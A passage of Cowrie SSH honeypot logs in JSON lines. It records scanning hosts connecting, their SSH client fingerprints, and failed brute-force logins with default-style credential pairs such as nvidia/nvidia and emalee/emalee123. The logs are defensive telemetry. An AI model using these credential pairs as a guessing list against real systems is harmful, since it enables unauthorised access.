sh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:27.329005Z","src_ip":"176.65.139.95","session":"cd17ceddf676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:27.675548Z","src_ip":"2.57.121.112","session":"1e6b97617347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:27.727204Z","src_ip":"176.65.139.95","session":"cd17ceddf676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:28.813078Z","src_ip":"176.65.139.95","session":"cd17ceddf676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51360,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd426f0af980","protocol":"ssh","message":"New connection: 159.203.92.129:51360 (159.203.135.109:22) [session: fd426f0af980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:32.707062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:32.712046Z","src_ip":"159.203.92.129","session":"fd426f0af980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:32.717641Z","src_ip":"159.203.92.129","session":"fd426f0af980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Froschi","password":"Froschi","message":"login attempt [Froschi/Froschi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:32.730376Z","src_ip":"159.203.92.129","session":"fd426f0af980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35804,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4c8b749ed33","protocol":"ssh","message":"New connection: 176.65.139.95:35804 (159.203.135.109:22) [session: c4c8b749ed33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:33.532264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:33.546213Z","src_ip":"176.65.139.95","session":"c4c8b749ed33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:33.626546Z","src_ip":"176.65.139.95","session":"c4c8b749ed33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:33.736303Z","src_ip":"159.203.92.129","session":"fd426f0af980","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:33.985415Z","src_ip":"176.65.139.95","session":"c4c8b749ed33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:35.344009Z","src_ip":"176.65.139.95","session":"c4c8b749ed33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48934,"dst_ip":"159.203.135.109","dst_port":22,"session":"c499e5bb8561","protocol":"ssh","message":"New connection: 176.65.139.95:48934 (159.203.135.109:22) [session: c499e5bb8561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:40.267961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:40.273065Z","src_ip":"176.65.139.95","session":"c499e5bb8561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:40.355298Z","src_ip":"176.65.139.95","session":"c499e5bb8561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:40.904257Z","src_ip":"176.65.139.95","session":"c499e5bb8561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:41.991723Z","src_ip":"176.65.139.95","session":"c499e5bb8561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":55330,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ee096e3c943","protocol":"ssh","message":"New connection: 79.116.23.158:55330 (10.17.0.5:22) [session: 9ee096e3c943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:42.228466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:42.233203Z","src_ip":"79.116.23.158","session":"9ee096e3c943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:42.345368Z","src_ip":"79.116.23.158","session":"9ee096e3c943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:42.819994Z","src_ip":"79.116.23.158","session":"9ee096e3c943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:43.931829Z","src_ip":"79.116.23.158","session":"9ee096e3c943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":48938,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3d11d211541","protocol":"ssh","message":"New connection: 176.65.139.95:48938 (159.203.135.109:22) [session: e3d11d211541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:46.584584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:46.830930Z","src_ip":"176.65.139.95","session":"e3d11d211541","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:46.835024Z","src_ip":"176.65.139.95","session":"e3d11d211541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:47.608813Z","src_ip":"176.65.139.95","session":"e3d11d211541","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":8502,"dst_ip":"10.17.0.5","dst_port":22,"session":"d49b87f6c9c7","protocol":"ssh","message":"New connection: 213.209.159.159:8502 (10.17.0.5:22) [session: d49b87f6c9c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:47.850653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:47.856407Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:47.938913Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee","message":"login attempt [emalee/emalee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:48.339194Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:48.763195Z","src_ip":"176.65.139.95","session":"e3d11d211541","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee1","message":"login attempt [emalee/emalee1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:49.423387Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee123","message":"login attempt [emalee/emalee123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:50.509216Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee1234","message":"login attempt [emalee/emalee1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:51.595435Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42402,"dst_ip":"159.203.135.109","dst_port":22,"session":"9392710361ab","protocol":"ssh","message":"New connection: 80.94.92.186:42402 (159.203.135.109:22) [session: 9392710361ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:51.799683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:51.899044Z","src_ip":"80.94.92.186","session":"9392710361ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:51.953606Z","src_ip":"80.94.92.186","session":"9392710361ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:52.631765Z","src_ip":"80.94.92.186","session":"9392710361ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee12345","message":"login attempt [emalee/emalee12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:52.680552Z","src_ip":"213.209.159.159","session":"d49b87f6c9c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54672,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf5f7b6bd75b","protocol":"ssh","message":"New connection: 176.65.139.95:54672 (159.203.135.109:22) [session: cf5f7b6bd75b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:53.101506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:28:53.107124Z","src_ip":"176.65.139.95","session":"cf5f7b6bd75b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"